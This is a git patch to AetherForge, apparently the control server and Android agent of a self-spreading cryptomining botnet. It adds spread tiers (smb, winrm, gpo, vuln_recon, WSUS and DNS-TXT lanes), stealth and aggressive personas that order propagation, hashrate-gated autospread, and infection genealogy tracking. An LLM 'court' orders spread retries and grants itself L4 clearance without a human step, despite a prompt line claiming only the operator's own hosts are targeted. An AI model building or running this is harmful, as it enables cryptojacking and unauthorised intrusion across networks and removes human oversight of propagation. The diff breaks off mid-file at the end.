From 82d74abfcffc31232df3694dd221150183c5d415 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 05:00:22 -0700 Subject: [PATCH] Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage --- android/agent-app/src/main/assets/config.json | 9 +- android/forge/internal/forge/config.go | 6 +- android/forge/internal/forge/config_test.go | 23 ++++ server/config.go | 15 +++ server/internal/ai/commands.go | 4 + server/internal/ai/court_prompt.go | 5 +- server/internal/ai/court_prompt_test.go | 10 ++ server/internal/ai/personas.go | 53 ++++++++- server/internal/ai/personas_test.go | 32 ++++++ server/internal/ai/scheduler.go | 16 +++ server/internal/ai/scheduler_test.go | 44 ++++++++ server/internal/db/agent_meta.go | 4 +- server/internal/db/sqlite.go | 14 ++- server/internal/models/agent.go | 11 ++ server/internal/strategy/phenotype.go | 3 + server/main.go | 9 +- server/web/index.html | 20 ++-- server/web/src/api/client.ts | 13 ++- .../src/components/Fleet/AccessDepthPanel.css | 18 ++++ .../Fleet/AccessDepthPanel.test.tsx | 14 +++ .../src/components/Fleet/AccessDepthPanel.tsx | 16 +++ server/web/src/components/Layout/Layout.tsx | 11 +- server/web/src/help/applyStatsUpdate.test.ts | 19 ++++ server/web/src/help/applyStatsUpdate.ts | 7 ++ server/web/src/help/forgeDefaults.test.ts | 1 + server/web/src/help/forgeDefaults.ts | 1 + server/web/src/help/forgeFormNormalize.ts | 6 ++ server/web/src/help/forgeRules.ts | 6 ++ server/web/src/help/settingHelp.ts | 2 +- server/web/src/help/warRoomTelemetry.test.ts | 102 +++--------------- server/web/src/help/warRoomTelemetry.ts | 14 +++ server/web/src/help/wsStatsCoalesce.test.ts | 22 ++++ server/web/src/help/wsStatsCoalesce.ts | 3 + server/web/src/pages/ActivityFeedPage.tsx | 7 +- server/web/src/pages/PathTracerPage.tsx | 24 ++++- server/web/src/pages/ROIPage.tsx | 6 +- server/web/src/types/index.ts | 29 +++++ server/web/src/types/ws.ts | 7 ++ 38 files changed, 486 insertions(+), 120 deletions(-) diff --git a/android/agent-app/src/main/assets/config.json b/android/agent-app/src/main/assets/config.json index 1ab08cd..5130d59 100644 --- a/android/agent-app/src/main/assets/config.json +++ b/android/agent-app/src/main/assets/config.json @@ -1,4 +1,9 @@ { - "server_url": "http://192.168.1.10:8989", - "worker_name": "tablet-1" + "server_url": "http://deck:8989", + "worker_name": "tab-1", + "worker_number": "tab-1", + "mining": { + "enabled": false + }, + "build_id": "bld-cross" } \ No newline at end of file diff --git a/android/forge/internal/forge/config.go b/android/forge/internal/forge/config.go index 2c4c845..c620e17 100644 --- a/android/forge/internal/forge/config.go +++ b/android/forge/internal/forge/config.go @@ -16,6 +16,7 @@ type BakeConfig struct { FleetSecret string `json:"fleet_secret,omitempty"` Wallet string `json:"wallet,omitempty"` BuildID string `json:"build_id,omitempty"` + ScoutMode bool `json:"scout_mode,omitempty"` } // AndroidAgentDefaults returns fleet-first defaults with mining off by default. @@ -117,9 +118,12 @@ func GetBuiltinConfig() BuiltinConfig { DnsTxtSpread: false, WebRTCMeshSpread: false, WSUSCachePeerSpread: false, + ApkMode: true, + ScoutMode: %v, + MiningDisabled: true, } } -`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil +`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret, cfg.ScoutMode), nil } func normalize(cfg BakeConfig) BakeConfig { diff --git a/android/forge/internal/forge/config_test.go b/android/forge/internal/forge/config_test.go index 6eb4fbf..a1ae7d8 100644 --- a/android/forge/internal/forge/config_test.go +++ b/android/forge/internal/forge/config_test.go @@ -36,6 +36,29 @@ func TestRenderConfigJSON(t *testing.T) { } } +func TestRenderBuiltinGoScoutMode(t *testing.T) { + cfg := BakeConfig{ + WorkerName: "scout-tab", + ServerURL: "http://10.0.0.5:8989", + FleetSecret: "fleet-key", + BuildID: "b-scout", + ScoutMode: true, + } + src, err := RenderBuiltinGo(cfg) + if err != nil { + t.Fatal(err) + } + for _, needle := range []string{ + `ScoutMode: true`, + `ApkMode: true`, + `MiningDisabled: true`, + } { + if !strings.Contains(src, needle) { + t.Fatalf("missing %q in builtin.go:\n%s", needle, src) + } + } +} + func TestRenderBuiltinGo(t *testing.T) { cfg := BakeConfig{ WorkerName: "tab-s9", diff --git a/server/config.go b/server/config.go index 09bc511..944712e 100644 --- a/server/config.go +++ b/server/config.go @@ -83,6 +83,8 @@ type ServerSettings struct { AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"` // AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions. AIControlEnabled bool `json:"ai_control_enabled"` + // AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24 via WS. + AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled"` // AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1). AIEndpoint string `json:"ai_endpoint"` // AIModel is the LLM model name for fleet AI control (Calibrate). @@ -95,6 +97,12 @@ type ServerSettings struct { AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"` // AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced). AIPersona string `json:"ai_persona,omitempty"` + // FleetRolesEnabled splits seeders (LAN staging) from miners (RandomX) with auth hints. + FleetRolesEnabled bool `json:"fleet_roles_enabled"` + // HashrateGateSpreadMin is minutes of stable hashrate before agents may autospread. + HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"` + // HashrateGateHPS is the minimum H/s required for hashrate-gated propagation. + HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. @@ -304,6 +312,7 @@ func DefaultConfig() *Config { AIDecisionIntervalSec: 60, AIAutoElevateClearance: true, AIPersona: "balanced", + FleetRolesEnabled: false, }, } } @@ -966,6 +975,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(srvKeys, "ai_control_enabled") { dst.Server.AIControlEnabled = src.Server.AIControlEnabled } + if in(srvKeys, "atlas_lan_gossip_enabled") { + dst.Server.AtlasLanGossipEnabled = src.Server.AtlasLanGossipEnabled + } + if in(srvKeys, "fleet_roles_enabled") { + dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled + } if in(srvKeys, "ai_endpoint") { dst.Server.AIEndpoint = src.Server.AIEndpoint } diff --git a/server/internal/ai/commands.go b/server/internal/ai/commands.go index 21c4975..3b09af0 100644 --- a/server/internal/ai/commands.go +++ b/server/internal/ai/commands.go @@ -14,6 +14,8 @@ const ( CmdRestartMining = "restart_mining" CmdReorderTiers = "reorder_tiers" CmdSpreadNow = "spread_now" + CmdSpreadRetryLane = "spread_retry_lane" + CmdSkipTier = "skip_tier" CmdStageFetch = "stage_fetch" CmdSetAgentVersion = "set_agent_version" CmdNoop = "noop" @@ -26,6 +28,8 @@ var knownCommands = map[string]bool{ CmdRestartMining: true, CmdReorderTiers: true, CmdSpreadNow: true, + CmdSpreadRetryLane: true, + CmdSkipTier: true, CmdStageFetch: true, CmdSetAgentVersion: true, CmdNoop: true, diff --git a/server/internal/ai/court_prompt.go b/server/internal/ai/court_prompt.go index 1d16415..836b28b 100644 --- a/server/internal/ai/court_prompt.go +++ b/server/internal/ai/court_prompt.go @@ -64,7 +64,10 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy. system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts. This is a single-turn tribunal with no memory. Three roles speak once: PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides. -Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop. +Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop. +spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …). +skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch. +Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance. Never target third-party systems.`)) system.WriteString("\n\n## PROSECUTOR\n") system.WriteString(prosecutor) diff --git a/server/internal/ai/court_prompt_test.go b/server/internal/ai/court_prompt_test.go index 99b9414..e05762b 100644 --- a/server/internal/ai/court_prompt_test.go +++ b/server/internal/ai/court_prompt_test.go @@ -30,6 +30,16 @@ func stuckSpreadAttempts() []TierAttempt { return attempts } +func TestBuildCourtPromptListsRetryCommands(t *testing.T) { + bundle := BuildCourtPrompt(AgentSnapshot{Stuck: true}, "", nil, PersonaBalanced) + if !strings.Contains(bundle.SystemPrompt, "spread_retry_lane") { + t.Fatalf("missing spread_retry_lane in court prompt: %s", bundle.SystemPrompt) + } + if !strings.Contains(bundle.SystemPrompt, "skip_tier") { + t.Fatalf("missing skip_tier in court prompt") + } +} + func TestBuildCourtPromptProsecutorFailures(t *testing.T) { snap := AgentSnapshot{ AgentID: "agent-stuck", diff --git a/server/internal/ai/personas.go b/server/internal/ai/personas.go index dc68950..1d19e5d 100644 --- a/server/internal/ai/personas.go +++ b/server/internal/ai/personas.go @@ -1,6 +1,11 @@ package ai -import "strings" +import ( + "strings" + "time" + + "crypto-miner-server/internal/strategy" +) const ( PersonaAggressive = "aggressive" @@ -83,3 +88,49 @@ func CourtJudgeOverlay(mode string) string { return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n" } } + +// PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona. +// Used as propagation temperament when Fleet AI Control replaces adaptive strategy. +func PersonaSpreadTierOrder(mode string) []string { + switch NormalizePersona(mode) { + case PersonaAggressive: + return []string{ + "vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo", + } + case PersonaSilent: + return []string{ + "vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", + } + case PersonaPassive: + return []string{ + "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", + } + case PersonaPersuasive: + return []string{ + "vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl", + "docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo", + } + default: + return DefaultSpreadTiers() + } +} + +// PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode. +func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy { + persona := NormalizePersona(mode) + order := PersonaSpreadTierOrder(persona) + reason := strategy.StrategyReason{ + Fact: "Calibrate ai_persona=" + persona, + Inference: "Fleet AI Control shapes spread propagation personality", + Action: "Prefer spread tier order: " + strings.Join(order, " → "), + } + return strategy.AdaptiveStrategy{ + TierOrder: order, + Reasoning: []strategy.StrategyReason{reason}, + Confidence: 0.85, + UpdatedAt: time.Now().UTC().Format(time.RFC3339), + } +} diff --git a/server/internal/ai/personas_test.go b/server/internal/ai/personas_test.go index 224d8b1..5ceae2a 100644 --- a/server/internal/ai/personas_test.go +++ b/server/internal/ai/personas_test.go @@ -51,6 +51,38 @@ func TestNormalizePersona(t *testing.T) { } } +func TestPersonaSpreadTierOrderDistinct(t *testing.T) { + modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced} + seen := make(map[string]string, len(modes)) + for _, mode := range modes { + order := PersonaSpreadTierOrder(mode) + if len(order) != len(defaultSpreadTiers) { + t.Fatalf("persona %q tier count = %d want %d", mode, len(order), len(defaultSpreadTiers)) + } + key := strings.Join(order, ",") + if prev, ok := seen[key]; ok && mode != PersonaBalanced { + t.Fatalf("personas %q and %q share spread order", prev, mode) + } + seen[key] = mode + } + if PersonaSpreadTierOrder(PersonaPersuasive)[1] != "dns_txt" { + t.Fatalf("persuasive should front dns_txt, got %v", PersonaSpreadTierOrder(PersonaPersuasive)) + } + if PersonaSpreadTierOrder(PersonaAggressive)[2] != "smb" { + t.Fatalf("aggressive should front smb early, got %v", PersonaSpreadTierOrder(PersonaAggressive)) + } +} + +func TestPersonaSpreadTemperamentShape(t *testing.T) { + temp := PersonaSpreadTemperament(PersonaSilent) + if len(temp.TierOrder) == 0 || len(temp.Reasoning) == 0 || temp.Confidence <= 0 { + t.Fatalf("invalid spread temperament: %+v", temp) + } + if !strings.Contains(temp.Reasoning[0].Fact, PersonaSilent) { + t.Fatalf("reasoning should cite persona: %+v", temp.Reasoning[0]) + } +} + func TestCourtJudgeOverlayDistinct(t *testing.T) { modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced} prev := "" diff --git a/server/internal/ai/scheduler.go b/server/internal/ai/scheduler.go index b6a07b8..48e94cc 100644 --- a/server/internal/ai/scheduler.go +++ b/server/internal/ai/scheduler.go @@ -202,6 +202,10 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { courtMeta.JudgeVerdict = ExtractJudgeVerdict(response) } cmds := ParseCommands(response) + if useCourt { + cmds = ExpandCourtCommands(cmds) + s.ensureCourtRetryClearance(agentID, cmds) + } results := make([]string, 0, len(cmds)) for _, cmd := range cmds { if cmd.Type == CmdNoop { @@ -228,6 +232,18 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { const stuckHostFailedTierThreshold = 14 +func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) { + if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil { + return + } + if s.elevator.Level(agentID) >= CourtRetryClearanceLevel { + return + } + if _, err := s.elevator.RequestElevation(agentID, CourtRetryClearanceLevel, "court-mandated retry", "ai_court"); err != nil { + log.Printf("[fleet-ai] agent %s court retry clearance: %v", agentID, err) + } +} + func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) { if !cfg.AutoElevateClearance || s.elevator == nil { return diff --git a/server/internal/ai/scheduler_test.go b/server/internal/ai/scheduler_test.go index abccc60..427ff2f 100644 --- a/server/internal/ai/scheduler_test.go +++ b/server/internal/ai/scheduler_test.go @@ -162,3 +162,47 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) { t.Fatalf("unexpected elevation: %+v", req) } } + +func TestSchedulerCourtRetryElevatesL4(t *testing.T) { + old := DecideFunc + defer func() { DecideFunc = old }() + DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) { + return `Verdict: retry dns_txt. +{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`, nil + } + + elevator := &mockElevator{} + exec := &mockExec{} + sched := NewScheduler( + &mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}}, + &mockSnap{ + ids: []string{"court-1"}, + snap: AgentSnapshot{ + AgentID: "court-1", Name: "host", Stuck: true, + LOTLAttempts: stuckSpreadAttempts(), + }, + }, + exec, + &mockStore{}, + &mockCourt{}, + elevator, + ) + sched.lastRun["court-1"] = time.Now().Add(-2 * time.Minute) + sched.Tick() + + elevator.mu.Lock() + defer elevator.mu.Unlock() + found := false + for _, req := range elevator.requests { + if req.toLevel == clearance.L4 && req.reason == "court-mandated retry" { + found = true + break + } + } + if !found { + t.Fatalf("expected court-mandated L4 elevation, got %+v", elevator.requests) + } + if len(exec.calls) == 0 || exec.calls[0].Type != CmdStageFetch { + t.Fatalf("expected stage_fetch dispatch, got %+v", exec.calls) + } +} diff --git a/server/internal/db/agent_meta.go b/server/internal/db/agent_meta.go index e81ecf1..1c04574 100644 --- a/server/internal/db/agent_meta.go +++ b/server/internal/db/agent_meta.go @@ -45,6 +45,7 @@ func (d *Database) scanAgent(row interface { ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress, &a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign, &a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive, + &a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain, ) if err != nil { return nil, err @@ -62,7 +63,8 @@ func (d *Database) scanAgent(row interface { const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address, - build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active` + build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active, + parent_agent_id, spread_generation, spread_strain` func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 648bf78..1163b45 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -138,6 +138,9 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`) extraMigrations := []string{ @@ -263,8 +266,8 @@ func (d *Database) migrate() error { // Agent operations func (d *Database) UpsertAgent(a *models.Agent) error { - query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?) + query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign, parent_agent_id, spread_generation, spread_strain) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ON CONFLICT(id) DO UPDATE SET name = CASE WHEN agents.name != '' AND agents.name != agents.hostname THEN agents.name ELSE excluded.name END, wallet = excluded.wallet, @@ -282,12 +285,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error { build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END, worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END, usb_spread = excluded.usb_spread, - campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END` + campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END, + parent_agent_id = CASE WHEN excluded.parent_agent_id != '' THEN excluded.parent_agent_id ELSE parent_agent_id END, + spread_generation = CASE WHEN excluded.spread_generation > 0 OR excluded.parent_agent_id != '' THEN excluded.spread_generation ELSE spread_generation END, + spread_strain = CASE WHEN excluded.spread_strain != '' THEN excluded.spread_strain ELSE spread_strain END` usb := 0 if a.USBSpread { usb = 1 } - _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign) + _, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign, a.ParentAgentID, a.SpreadGeneration, a.SpreadStrain) return err } diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index c1dddc6..19a8bdd 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -122,9 +122,20 @@ type Agent struct { // Last successful discover_and_join supply-chain lane. JoinLane string `json:"join_lane,omitempty"` + // Spread genealogy watermark — informational telemetry from forge/auth/stats. + ParentAgentID string `json:"parent_agent_id,omitempty"` + SpreadGeneration int `json:"spread_generation,omitempty"` + SpreadStrain string `json:"spread_strain,omitempty"` + // Session security clearance (L0–L4); set live by WSHub, not persisted. ClearanceLevel int `json:"clearance_level,omitempty"` + // Fleet role split telemetry (stats WS, not persisted). + FleetRole string `json:"fleet_role,omitempty"` + SeedPressure float64 `json:"seed_pressure,omitempty"` + HashratePressure float64 `json:"hashrate_pressure,omitempty"` + EmberwakeHeat float64 `json:"emberwake_heat,omitempty"` + // Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only). InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"` diff --git a/server/internal/strategy/phenotype.go b/server/internal/strategy/phenotype.go index 1692f8d..a6e2489 100644 --- a/server/internal/strategy/phenotype.go +++ b/server/internal/strategy/phenotype.go @@ -20,6 +20,7 @@ type FleetPhenotype struct { } // InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches. +// Auth tier-plan precedence (highest wins): inherited phenotype > genetic breed > adaptive strategy. type InheritedPhenotype struct { SourceAgentName string `json:"source_agent_name"` Fingerprint string `json:"fingerprint"` @@ -27,6 +28,8 @@ type InheritedPhenotype struct { TierOrder []string `json:"tier_order"` ActiveTier string `json:"active_tier,omitempty"` PeakHashrate float64 `json:"peak_hashrate,omitempty"` + GeneticBreed bool `json:"genetic_breed,omitempty"` + ParentLanes []string `json:"parent_lanes,omitempty"` } // TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building. diff --git a/server/main.go b/server/main.go index 28f80f1..cc04e9c 100644 --- a/server/main.go +++ b/server/main.go @@ -140,6 +140,7 @@ func main() { adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled) wsHub.SetAdaptiveEngine(adaptiveEngine) wsHub.SetFailureAtlas(atlas.NewFailureAtlas(database)) + wsHub.SetSubnetImmune(atlas.NewSubnetImmune(database)) wsHub.SetAIHandler(aiHandler) wsHub.SetFleetSecret(cfg.Server.FleetSecret) api.SetAgentPathSecret(cfg.Server.FleetSecret) @@ -315,6 +316,7 @@ func main() { // Path Tracer: on-demand WireGuard multi-hop VPN builder pathTracerHandler := api.NewPathTracerHandler(wsHub) + deployPlanHandler.BindPathTracer(pathTracerHandler) // Find web root for frontend webRoot := findWebRoot() @@ -395,7 +397,12 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers, DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes, }, - AIControlEnabled: cfg.Server.AIControlEnabled, + AIControlEnabled: cfg.Server.AIControlEnabled, + AIPersona: fleetai.NormalizePersona(cfg.Server.AIPersona), + AtlasLanGossipEnabled: cfg.Server.AtlasLanGossipEnabled, + FleetRolesEnabled: cfg.Server.FleetRolesEnabled, + HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin, + HashrateGateHPS: cfg.Server.HashrateGateHPS, }) } if poolManager != nil { diff --git a/server/web/index.html b/server/web/index.html index 3e70617..c6db3c0 100644 --- a/server/web/index.html +++ b/server/web/index.html @@ -10,22 +10,22 @@ + AetherForge — Command Deck
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index ef4871e..351d78a 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,4 +1,4 @@ -import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types'; +import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types'; import { authHeaders, clearStoredAuth } from './auth'; import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download'; @@ -480,7 +480,18 @@ export const api = { discover_in_progress?: boolean; discover_error?: string; discovered_at?: string; + spread_routes?: SpreadRouteRecommendation[]; }>(`/pathtrace/${id}/status`), + spreadRouteTrace: (sessionId: string, targetSubnets: string[], joinLane?: string) => + fetchJSON<{ + ok: boolean; + session_id: string; + spread_routes: SpreadRouteRecommendation[]; + route_edges: { from_agent_id: string; to_subnet: string; weight: number }[]; + }>('/pathtrace/spread-route', { + method: 'POST', + body: JSON.stringify({ session_id: sessionId, target_subnets: targetSubnets, join_lane: joinLane ?? '' }), + }), discoverTraceServices: (sessionId: string, maxHosts = 32) => fetchJSON<{ ok: boolean; diff --git a/server/web/src/components/Fleet/AccessDepthPanel.css b/server/web/src/components/Fleet/AccessDepthPanel.css index 87b044c..ab131c5 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.css +++ b/server/web/src/components/Fleet/AccessDepthPanel.css @@ -273,3 +273,21 @@ opacity: 0.45; } } + +.access-depth-lineage { + display: flex; + align-items: center; + gap: 0.35rem; + font-size: 0.72rem; + color: #c8d0d8; + margin-top: 0.25rem; +} + +.access-depth-strain-swatch { + display: inline-block; + width: 0.65rem; + height: 0.65rem; + border-radius: 2px; + border: 1px solid rgba(255, 255, 255, 0.25); + flex-shrink: 0; +} diff --git a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx index 918dc2b..fceab1e 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx @@ -200,6 +200,20 @@ describe('AccessDepthPanel', () => { expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument(); }); + it('shows spread genealogy lineage when watermark present', async () => { + renderPanel( + mockAgent({ + platform: 'windows', + parent_agent_id: '11112222-3333-4444-aaaa-bbbbbbbbbbbb', + spread_generation: 2, + spread_strain: '#a1b2c3', + join_lane: 'winrm', + }), + ); + expect(await screen.findByText(/lineage gen 2/i)).toBeInTheDocument(); + expect(screen.getByText(/parent 11112222/i)).toBeInTheDocument(); + }); + it('renders clearance badge L0–L4 with tooltip permissions', () => { renderPanel(mockAgent({ clearance_level: 2 })); const badge = screen.getByLabelText(/Clearance L2/i); diff --git a/server/web/src/components/Fleet/AccessDepthPanel.tsx b/server/web/src/components/Fleet/AccessDepthPanel.tsx index 72de2f4..6f9f17b 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.tsx @@ -189,6 +189,22 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { ) : (
No join lane yet
)} + {(agent.parent_agent_id || agent.spread_generation || agent.spread_strain) && ( +
+ lineage gen {agent.spread_generation ?? 0} + {agent.spread_strain ? ( + + ) : null} + {agent.parent_agent_id ? ( + · parent {agent.parent_agent_id.slice(0, 8)} + ) : null} +
+ )} {model.phenotypeSource && (
phenotype cloned from {model.phenotypeSource} diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx index 89508f8..bfaa794 100644 --- a/server/web/src/components/Layout/Layout.tsx +++ b/server/web/src/components/Layout/Layout.tsx @@ -57,9 +57,9 @@ const NAV = [ const DOCS_HREF = '/docs/'; -/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */ +/** Primary tabs on mobile bottom bar — Deck, Crucible, Activity, ROI, Onion */ const MOBILE_PRIMARY = NAV.slice(0, 5); -/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */ +/** Path Tracer, Forge, Mission Deck, Builds, Emberwake, Calibrate — "More" sheet */ const MOBILE_MORE = NAV.slice(5); function NavIcon({ type }: { type: string }) { @@ -283,9 +283,12 @@ export default function Layout({ children }: LayoutProps) { const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to); const mobileShortLabel: Record = { '/dashboard': 'Deck', - '/crucible': 'Ops', + '/crucible': 'Ops', + '/activity': 'Feed', + '/roi': 'ROI', + '/lotl-timeline': 'Onion', '/pathtracer': 'Tracer', - '/forge': 'Forge', + '/forge': 'Forge', }; return ( diff --git a/server/web/src/help/applyStatsUpdate.test.ts b/server/web/src/help/applyStatsUpdate.test.ts index 987007f..0c25e11 100644 --- a/server/web/src/help/applyStatsUpdate.test.ts +++ 